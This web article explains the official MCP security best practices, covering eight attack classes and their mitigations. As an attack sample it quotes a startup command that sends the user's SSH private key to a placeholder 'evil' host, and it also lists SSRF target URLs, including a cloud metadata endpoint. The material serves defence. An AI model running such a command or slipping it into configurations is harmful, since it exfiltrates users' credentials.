MCP Security Guide: The 8 Official Attack Vectors and Their Mitigations
The official MCP security best practices, decoded: eight attack classes from Confused Deputy and Token Passthrough to SSRF and scope minimization, each with the official mitigation requirements.
How to
Audit the authorization chain
If you run a proxy server, confirm a per-client consent flow and a client_id registry exist; check for token passthrough -- any token not issued for your server must be rejected.
Review outbound URLs and sessions
Enforce HTTPS on all OAuth-related URLs and block private IP ranges; make session IDs securely random, bound to user info, rotatable and expiring -- and never use them for authentication.
Tighten local and transport surfaces
One-click configuration must display the full startup command and obtain explicit consent; in stdio proxy scenarios, sandbox spawned processes, restrict their file system access, and log usage.
Minimize scope and rehearse injection
Start scopes at the minimal set and elevate on demand; treat tool return values as untrusted input in prompt-injection rehearsals, and add user confirmation for destructive operations.
MCP connects tools, data, and prompts into the model's context -- and connects a set of attack surfaces the plain web never had: authorization that runs through proxies, sessions that cross multiple stateful servers, and servers that are processes on the user's own machine. The official MCP security best practices document (the sole source for this article's rules, verified 2026-09-01) organizes these implementation-level risks into 8 attack classes, each with MUST/SHOULD mitigation requirements. This article walks through the mechanics and the official mitigations class by class -- the whole thing doubles as an MCP security review checklist.
1. Why MCP Security Is Its Own Topic
MCP's trust chain is longer than a normal API call: the client may connect to a proxy, the proxy connects to a third-party API; sessions may traverse shared queues; a "tool" is external code the model actively invokes. Two ground rules follow (consistent with the official document's spirit, and repeated across this site's MCP articles):
- Tool return values are untrusted input -- instructions hidden in tool output are the entry point for prompt injection; treat everything the model sees from outside as untrusted.
- Destructive operations need human confirmation -- write, delete, payment, and outbound-send tools require a user confirmation step; sensitive tools belong behind an allowlist.
The official document addresses three audiences: developers implementing MCP authorization flows, MCP server operators, and security professionals evaluating MCP-based systems -- and instructs reading it alongside the MCP Authorization specification and OAuth 2.0 security best practices. Now, the 8 attack surfaces.
2. The Eight Attack Surfaces at a Glance
| # | Attack surface | In one sentence | Core official mitigation |
|---|---|---|---|
| 1 | Confused Deputy | A proxy's static client_id is exploited to obtain authorization codes without user consent | Per-client consent flow + client_id registry |
| 2 | Token Passthrough | Forwarding tokens not issued for your service to downstream APIs | MUST NOT accept tokens not issued for the MCP server |
| 3 | SSRF | OAuth metadata-discovery URLs pointed at internal networks / cloud metadata endpoints | Enforce HTTPS + block private IP ranges |
| 4 | Session hijacking | A guessed or stolen session ID impersonates a client (injection and impersonation paths) | Verify inbound requests + secure random IDs + user binding |
| 5 | Local server compromise | Malicious startup commands, poisoned server payloads, DNS rebinding against localhost | Show the full command before execution with explicit consent |
| 6 | OAuth authorization URL validation | javascript: / data: schemes or shell-opened URLs become execution entry points | http(s)-only + no shell + CSP |
| 7 | stdio proxy security | Spawned processes in stdio proxying get exploited | Sandboxing + file system limits + audit logs |
| 8 | Scope minimization | Full scope granted up front | Progressive least-privilege, elevating on demand |
3. Class by Class: Mechanics and Official Mitigations
3.1 Confused Deputy
Mechanics: an MCP proxy server acts as the single OAuth client toward a third-party API (a static client ID). When the third-party authorization server lacks dynamic client registration -- forcing the proxy onto a static client_id -- and consent cookies are in the mix, a malicious client can combine these conditions to obtain authorization codes without proper user consent.
Official mitigation (MUST): proxy servers must implement per-client consent -- maintain a registry of approved client_id values per user and check it before initiating the third-party authorization flow; the consent page must clearly identify the requesting MCP client by name and display the specific third-party API scopes requested; consent decisions must be stored securely (server-side database, or server-specific cookies).
3.2 Token Passthrough
Mechanics: an MCP server accepts a token from a client without validating that it was issued for this server, and passes it downstream. The official document classifies this as an anti-pattern explicitly forbidden in the authorization specification, with a concrete risk list: bypassing downstream rate limiting, request validation, and traffic monitoring that depend on the token audience; the server cannot distinguish clients and downstream logs show the wrong identity, breaking accountability and audit trails; forwarding without validating claims (roles, privileges, audience) turns the server into an exfiltration proxy for stolen tokens; and downstream trust assumptions about origin get violated.
Official mitigation in one sentence: MUST NOT accept any tokens that were not explicitly issued for the MCP server.
3.3 SSRF (Server-Side Request Forgery)
Mechanics: during OAuth metadata discovery, the client fetches URLs from sources a malicious MCP server can control -- the resource_metadata URL from the WWW-Authenticate header, the authorization_servers URLs from Protected Resource Metadata, and the token_endpoint / authorization_endpoint from Authorization Server Metadata. Official attack patterns: direct internal IP access (http://192.168.1.1/admin), cloud metadata endpoints (http://169.254.169.254/, exfiltrating cloud credentials and instance information), localhost services (http://localhost:6379/ against Redis and admin panels), DNS rebinding (resolution changes between validation and use), and normal-looking URLs that redirect to internal resources.
Official mitigation: require HTTPS for all OAuth-related URLs in production (reject http:// except loopback addresses during development, aligning with OAuth 2.1's requirement for OAuth protocol URLs); block private and reserved IP address ranges as recommended by RFC 9728 §7.7; and implement the protections appropriate to your network environment.
3.4 Session Hijacking
Mechanics: a client holds a session ID issued by the server; an unauthorized party who obtains that same ID can impersonate the client. The risk spikes with multiple stateful HTTP servers sharing MCP request handling: the attacker sends a malicious event carrying a hijacked session ID to Server B, the event enters a shared queue, Server A polls the queue by the same session ID and delivers the payload to the client as an asynchronous or resumed response -- injection complete. Where servers support redelivery / resumable streams, deliberately terminating a request before the response can get the original client to resume it, and tool-list-changing events (of the notifications/tools/list_changed kind) can leave a client using tools it never agreed to.
Official mitigation: servers implementing authorization MUST verify all inbound requests and MUST NOT use sessions for authentication; session IDs must be secure and non-deterministic, generated with secure random number generators (no predictable or sequential identifiers), with rotation or expiry to reduce risk; and servers SHOULD bind session IDs to user-specific information -- when storing or transmitting session data (e.g., in a queue), use keys in the <user_id>:<session_id> format, so even a guessed ID cannot impersonate the user:
# Key format for session data entering a queue (official example pattern)
<user_id>:<session_id>
# Example
u_8f14e2:3d1c9a7e-42b1-4f6e-9a2d-7c5e1b0d8f3a
3.5 Local MCP Server Compromise
Mechanics: a local server is a binary downloaded and executed on the user's machine -- with direct access to the user's system, and reachable by other processes on the same machine. Official attack shapes: a malicious "startup" command embedded in client configuration, a malicious payload distributed inside the server itself, and DNS rebinding against an insecure server left running on localhost. The official example of a malicious startup command is blunt:
# Official data-exfiltration example (an attack sample, not a usable config)
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
Official mitigation: clients supporting one-click local server configuration MUST implement consent mechanisms before executing commands -- show the exact command to be executed, without truncation (including arguments and parameters); clearly identify it as a potentially dangerous operation that executes code on the user's system; require explicit user approval; and allow cancellation. Clients SHOULD add further guardrails, such as highlighting dangerous command patterns.
3.6 OAuth Authorization URL Validation
Mechanics: unvalidated authorization URLs let malicious schemes or shell invocation become code-execution entry points.
Official mitigation (MUST): only allow http:// and https:// schemes for authorization URLs (http only for loopback addresses such as localhost, 127.0.0.1, ::1 during local development; production authorization servers MUST use https://); reject javascript:, data:, file:, vbscript:, and other dangerous schemes; prefer allowlist-based validation over blocklists:
# Authorization URL scheme allowlist (official MUST requirement)
Allow: http:// https:// (http only for localhost / 127.0.0.1 / ::1 in development)
Reject: javascript: data: file: vbscript: and other dangerous schemes
``` When opening URLs, clients **MUST NOT use shell commands** (cmd.exe, sh, PowerShell) -- use platform-specific, non-shell mechanisms instead; add Content Security Policy to block JavaScript from untrusted sources.
### 3.7 stdio Transport Security in Proxy Scenarios
Mechanics: when a proxy service spawns stdio child processes on a user's behalf, what it spawns is a local process able to run arbitrary code.
Official mitigation (SHOULD): implement sandboxing or containerization for spawned processes; restrict their file system access; log all stdio transport usage for security monitoring; require additional authorization for potentially dangerous operations. Supporting defense-in-depth: implement the OAuth URL validation mitigations, use CSP against untrusted JavaScript, and validate and sanitize all input from MCP servers before processing.
### 3.8 Scope Minimization
Mechanics: granting the full scope catalog up front means any single compromise yields full access.
Official mitigation: implement a progressive, least-privilege scope model -- a minimal initial scope set (e.g., mcp:tools-basic containing only low-risk discovery/read operations); incremental elevation via targeted WWW-Authenticate scope="..." challenges when privileged operations are first attempted; down-scoping tolerance (servers should accept reduced-scope tokens; the authorization server MAY issue a subset of requested scopes). Server guidance: emit precise scope challenges rather than the full catalog, and log elevation events (scope requested, granted subset) with correlation IDs. Client guidance: begin with baseline scopes only, and cache recent failures to avoid repeated elevation loops for denied scopes.
## 4. Putting It Into Practice: the Eight Mitigations as a Checklist
Condensed from the official mitigation sections, a table to tick through:
| Check | Level | Attack surface |
|---|---|---|
| Per-client consent flow and client_id registry exist | MUST | Confused Deputy |
| Tokens not issued by your server are rejected | MUST | Token Passthrough |
| All OAuth URLs enforce HTTPS in production | SHOULD | SSRF |
| Private / reserved IP ranges are blocked | SHOULD | SSRF |
| All inbound requests verified; sessions not used for auth | MUST | Session hijacking |
| Session IDs securely random + user-bound + rotatable | MUST / SHOULD | Session hijacking |
| One-click config shows the full command with explicit consent | MUST | Local server compromise |
| Authorization URLs http(s)-only, dangerous schemes rejected, no shell | MUST | URL validation |
| Spawned processes sandboxed + file-system restricted + logged | SHOULD | stdio proxy |
| Progressive minimal scopes + auditable elevation events | SHOULD | Scope minimization |
One more engineering habit from our own MCP server tutorial: register every tool with an `inputSchema` narrowed to exactly the fields it needs and a precise `description` -- the narrower the schema, the smaller the surface an injection can leverage (SDK usage in [Build Your Own MCP Server: From Zero to Published](/en/posts/mcp-server-building-guide)).
## 5. Common Mistakes and Troubleshooting
- **"My server doesn't need OAuth"**: as long as your client or proxy connects to a third-party API, an authorization chain exists -- and Confused Deputy and Token Passthrough attack exactly that chain.
- **Using session IDs as authentication**: officially MUST NOT. A session correlates state; it does not prove identity. Authentication happens through per-request verification.
- **Truncating commands in consent dialogs**: showing a truncated startup command is precisely where malicious arguments hide -- the official requirement is the full command, untruncated.
- **Blocklist scheme validation**: blacklisting known schemes like javascript: and data: cannot keep up with new variants -- the official advice is an allowlist (http/https only).
- **All scopes up front**: requesting the full permission set for deployment convenience maximizes the blast radius when something breaks -- progressive elevation is both a security practice and an audit trail.
## 6. Next Steps
- The protocol itself (hosts/clients/servers, the three primitives, transports): [Model Context Protocol: how MCP works and how to build on it](/en/posts/mcp-protocol-guide).
- Implementing an MCP server with schemas from zero: [Build Your Own MCP Server: From Zero to Published](/en/posts/mcp-server-building-guide).
- Deploying an MCP server to the edge: [Deploy MCP Server to Cloudflare Workers: MCP at the Edge](/en/posts/mcp-cloudflare-workers).
Key points
- Official audience: developers implementing MCP authorization flows, MCP server operators, and security professionals -- to be read alongside the MCP Authorization specification and OAuth 2.0 security best practices
- Confused Deputy: a proxy's static client_id, dynamic client registration, and consent cookies combine into a bypass -- proxies MUST implement per-client consent with a registry of approved client_id values
- Token Passthrough is an officially forbidden anti-pattern: MUST NOT accept tokens not explicitly issued for the MCP server -- otherwise rate limiting, audit trails, and accountability all break
- SSRF concentrates in OAuth metadata discovery: a malicious server can point metadata URLs at 169.254.169.254 and other internal targets -- enforce HTTPS and block private IP ranges per RFC 9728 §7.7
- Session hijacking: MUST verify all inbound requests, MUST NOT use sessions for authentication, generate secure non-deterministic session IDs, and bind them to user-specific info (<user_id>:<session_id>)
- Local servers and authorization URLs: one-click config MUST show the full command (untruncated) with explicit consent; only http(s) schemes allowed and no shell for opening URLs; stdio proxies SHOULD sandbox spawned processes; scopes should start minimal (e.g., mcp:tools-basic) and elevate progressively
Frequently asked questions
Official references
Related articles
MCP server development: protocol, debugging, security, and production deployment
MCP server production essentials: protocol deep-dive (JSON-RPC 2.0 / lifecycle / capabilities negotiation), Inspector debugging, transport selection (stdio / Streamable HTTP / SSE), security modes (prompt injection / OAuth scope / audit).
Read articleDeploy MCP Server to Cloudflare Workers: MCP at the Edge
Deploy MCP Server to Cloudflare Workers: stdio to Streamable HTTP conversion, Edge Runtime limits, KV persistence, wrangler config, and a production checklist.
Read articleBuild Your Own MCP Server: From Zero to Published
Build and ship an MCP Server with @modelcontextprotocol/sdk: project setup, declaring tools, choosing stdio vs Streamable HTTP, local testing, OAuth, and a launch checklist.
Read articleSubscribe to GPTMap Weekly
One email every Monday: curated OpenAI updates, deep dives, and best practices. No ads, unsubscribe anytime.